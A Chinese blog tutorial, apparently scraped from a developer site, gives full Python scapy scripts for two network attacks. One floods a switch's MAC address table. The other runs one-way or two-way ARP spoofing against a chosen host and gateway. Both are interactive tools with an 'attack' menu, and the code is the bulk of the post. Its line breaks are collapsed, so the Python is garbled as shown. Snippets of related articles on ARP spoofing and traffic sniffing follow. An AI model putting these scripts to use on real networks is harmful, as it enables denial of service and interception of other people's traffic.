声明:本文章的一切内容仅用于交流与学习

目录

一、Python scapy

二、MAC泛洪

三、ARP欺骗


一、Python scapy

scapy提供了构造、发送、接收、分析数据包的功能

scapy的内容很多这里只说明要用到的内容

RandMAC:自动生成一个随机的MAC地址

packet = Ether(src=MAC1, dst=MAC2) / IP(src=IP1, dst=IP2)

Ether是指定MAC地址用的,IP是第三层指定IP

sendp 发送二层报文

send 发送三层报文

基本上这些就够用了

二、MAC泛洪

很早很早之前写过用macof工具来实现MAC泛洪,现在要自己写一个!

MAC泛洪原理前面也写过,如果不清楚可以去看——》传送门

MAC泛洪的实质其实就是发送一堆随机的MAC地址,从而占满交换机的MAC地址表,但是发IPV4的报文还是需要指定IP的

所以第一步就是构造一组假的源目IP 源目MAC地址

构造MAC地址非常容易只需要使用RandMAC就可以生成

构造IP,需要写一个小函数

def randIP():ip=""for i in range(3):ip=ip+str(random.randint(0,255))+"."ip=ip+str(random.randint(0,255))return ip

分析一下,其实就是先循环三遍每一遍向字符串中添加一个0-255的数和一个点,如192.

最后再加一个数,构成一个完整的ip格式

有了这两个函数以后,就可以构造数据包了

MAC1=RandMAC("*:*:*:*:*:*")
MAC2 = RandMAC("*:*:*:*:*:*")
IP1=randIP()
IP2=randIP()
packet = Ether(src=MAC1, dst=MAC2) / IP(src=IP1, dst=IP2)

源目MAC地址 源目IP 默认为IPV4报文

接下来就是发送,因为scapy发送有一个小瑕疵,就是每次都输出一个发送成功,影响美观,于是做点小改动

 oldPrint = sys.stdoutsys.stdout = open('trash.txt', 'w')sendp(packet, iface=iface, loop=0)sys.stdout = oldPrintprint(f"{MAC1}---------->{MAC2}   /IP  {IP1}---------->{IP2}")

这样就可以自定义输出格式了

到这里MAC泛洪的一个数据包就构造发送好啦,剩下的就是循环了

这里说一下sendp 有一个参数iface是用来指定网卡的,可以加进去,动态选择网卡

把上面的内容封装了一下,输入处理了一下

完整代码

from scapy.all import *
from scapy.layers.inet import *
import random
def randIP():ip=""for i in range(3):ip=ip+str(random.randint(0,255))+"."ip=ip+str(random.randint(0,255))return ip
iface='eth0'
def gj():MAC1=RandMAC("*:*:*:*:*:*")MAC2 = RandMAC("*:*:*:*:*:*")IP1=randIP()IP2=randIP()packet = Ether(src=MAC1, dst=MAC2) / IP(src=IP1, dst=IP2)oldPrint = sys.stdoutsys.stdout = open('trash.txt', 'w')sendp(packet, iface=iface, loop=0)sys.stdout = oldPrintprint(f"{MAC1}---------->{MAC2}   /IP  {IP1}---------->{IP2}")
def ts():global ifacea=int(input(f"当前网卡为{iface},【1】更改网卡,【2】发起攻击,【3】指定攻击次数,【0】退出\n"))if a==1:iface=input("请输入网卡名\n")ts()returnelif a==2:while True:gj()elif a==3:b=int(input("输入攻击次数\n"))print("攻击开始....")for i in range(b):gj()elif a==0:return
print("*" * 25 + "MAC泛洪攻击" + "*" * 25)
ts()

运行效果

三、ARP欺骗

arp欺骗原理——》传送门

arp欺骗其实更简单,明白原理代码反而好写

完整代码,相信各位大佬都能看懂,看不懂直接留言或私信都可

from scapy.all import *
from scapy.layers.inet import *
from scapy.layers.l2 import ARP
import timedef get_mac_address():import uuidnode = uuid.getnode()mac = uuid.UUID(int = node).hex[-12:]MAC = ":".join([mac[e:e + 2] for e in range(0, 11, 2)])return MAC
print(get_mac_address())
def dx(IP1,IP2):a=get_mac_address()pkt=ARP(psrc=IP1,hwsrc=a,pdst=IP2,op=2)oldPrint = sys.stdoutsys.stdout = open('trash.txt', 'w')send(pkt)sys.stdout = oldPrintprint(f"{a} : 告诉{IP2},{IP1} 的MAC地址是{a}")
def fx(IP1,IP2):a = get_mac_address()pkt = ARP(psrc=IP2, hwsrc=a, pdst=IP1, op=2)oldPrint = sys.stdoutsys.stdout = open('trash.txt', 'w')send(pkt,iface="eth0")sys.stdout = oldPrintprint(f"{a} : 告诉{IP1},{IP2} 的MAC地址是{a}")print("*"*25+"ARP欺骗"+"*"*25)
a=int(input("【1】单向欺骗【2】双向欺骗【0】退出\n"))
if a==1:IP1=input("请输入要攻击的主机IP\n")IP2 = input("请输被欺骗的主机IP/网关\n")while True:dx(IP1,IP2)time.sleep(1)
elif a==2:IP1 = input("请输入IP1\n")IP2 = input("请输入IP2\n")while True:dx(IP1,IP2)fx(IP1,IP2)time.sleep(1)
else:exit(0)

运行效果

因为是单向欺骗,所以PC1 ping PC2 可以通, PC2 ping PC1 通不了

接下来就是双向欺骗

 

都不通啦

python 实现MAC泛洪与ARP欺骗相关推荐

  1. python实现局域网攻击_mac泛洪攻击arp欺骗(python脚本)

    mac地址泛洪攻击 原理:传统的交换机在数据转发过程中依靠对CAM表的查询来确定正确的转发接口,一旦在查询过程中无法找到相关的目的MAC对应的条目,此数据帧将作为广播帧来处理,CAM表的容量有限,只能 ...

  2. python arpspoof_使用arpspoof实现ARP欺骗,配合mitmproxy进行局域网嗅探抓包

    把PC和iPhone链接到同一个路由器上 攻击者和受害者需要在同一局域网内 1.查看发起攻击者的网卡和IP地址: $ifconfig eno1: flags=4163 mtu 1500 inet 19 ...

  3. python+scapy实现ARP欺骗

    python+scapy实现ARP欺骗 需要下载的库 ARP欺骗原理 源代码: 运行结果 需要下载的库 可以直接通过pip下载 pip install scapy ARP欺骗原理 设网关的IP为10. ...

  4. 网络攻防实验——MAC泛洪攻击、ARP DOS、ARP中间人

    网络攻防实验--MAC泛洪攻击.ARP DOS.ARP MiddleMan 合肥工业大学 网络攻防实验 项目二实验报告 项目二 一.搭建实验环境 1.实验要求: 利用VMware的NAT模式或Host ...

  5. ARP欺骗数据帧转发之MAC修改

    一.基础知识 1.交换机工作(数据链路层) 记住,交换机工作在数据链路层,也就是交换机根本只在乎数据帧的源mac和目的mac,而根本不关注数据帧的源ip和目的ip,或者说交换机根本查看不到数据帧的源i ...

  6. ARP是什么?+ARP欺骗 MAC为ff:ff:ff:ff:ff:ff是什么意思

    ARP 我们知道,当我们在浏览器里面输入网址时,DNS服务器会自动把它解析为baiIP地址,浏览器实际上查找的是IP地址而不是网址.那么IP地址是如何转换为第二层物理地址(即MAC地址)的呢?在局域网 ...

  7. 【网络攻击手段之-----ARP欺骗】

    网络攻击手段之-----ARP欺骗 前言 什么是ARP欺骗 APR欺骗的原理 ARP欺骗的实现 ARP欺骗后可以选择进一步攻击 ARP欺骗的模拟实验 Python语言 C语言 ARP欺骗的防御 前言 ...

  8. ARP欺骗:先认识再防御

    摘要:近年来,随着信息技术的不断发展,网络已深入到人们的日常生活工作中.由于局域网具有网络资源共享.易统一管理等诸多优点,因此得到了越来越多的重视和普及. 近年来,随着信息技术的不断发展,网络已深入到 ...

  9. 慎防ARP欺骗与网络嗅探(下篇)

    慎防ARP欺骗与网络嗅探(下篇) 步小羽 2007年04月06日 天下·网吧联盟 在上篇我们见识了嗅探器工具应用的实例,面对这种入门级黑客都能轻易掌握但是难以防范的入侵,作为网管应当如何应对呢?事实上 ...

最新文章

  1. air调用java,AIR2.0入门教程:与Java应用交互
  2. 一步步教你下载centos镜像
  3. java异常类子类和父类的关系
  4. 大数据技术下 分布式数据库何去何从?
  5. https://enhancer.io
  6. 织梦黑色互联网建站设计模板
  7. jQuery知识(转)
  8. 小学计算机键盘的初步认识教案,教学设计——小小键盘真神奇
  9. excel内容合并脚本
  10. kafka与zookeeper下载安装及kafka常用命令
  11. DPDK Release 20.02
  12. idea 2018 3.3版本破解
  13. matlab 股票分时图_matlab画股票走势图 急急急!
  14. hspace在表格中无效吗html,HTML代码汇总详解
  15. 软件服务器 配置文件,服务器生成软件配置文件
  16. app被Rejected 的各种原因翻译
  17. 《滴滴重MVVM框架Chameleon》架构篇读后感
  18. Linuxserver沦陷为肉鸡的全过程实录
  19. 未明学院:别焦虑,在命运为你安排的时区里,一切都准时
  20. 操作系统(五) -- CPU的调度策略

热门文章

  1. [附源码]Python计算机毕业设计SSM基于的装修设计管理系统(程序+LW)
  2. java计算机毕业设计我饿了外卖平台源代码+数据库+系统+lw文档
  3. AE插件在哪里找?6款AE动效必备插件来了
  4. 树莓派-树莓派系统的备份与还原(4)
  5. hasOne和hasMany的区别
  6. 通往财富自由之路详细笔记(12)
  7. 【网址收藏】如何管理越来越多的 k8s operator?OLM 给你答案
  8. 【目标检测算法】SSD学习笔记
  9. qt:在linux系统下创建快捷方式桌面图标
  10. 华为鸿蒙系统公测机型,鸿蒙OS尝鲜入口提前开放首批可更新机型可在“我的华为”看到惊喜...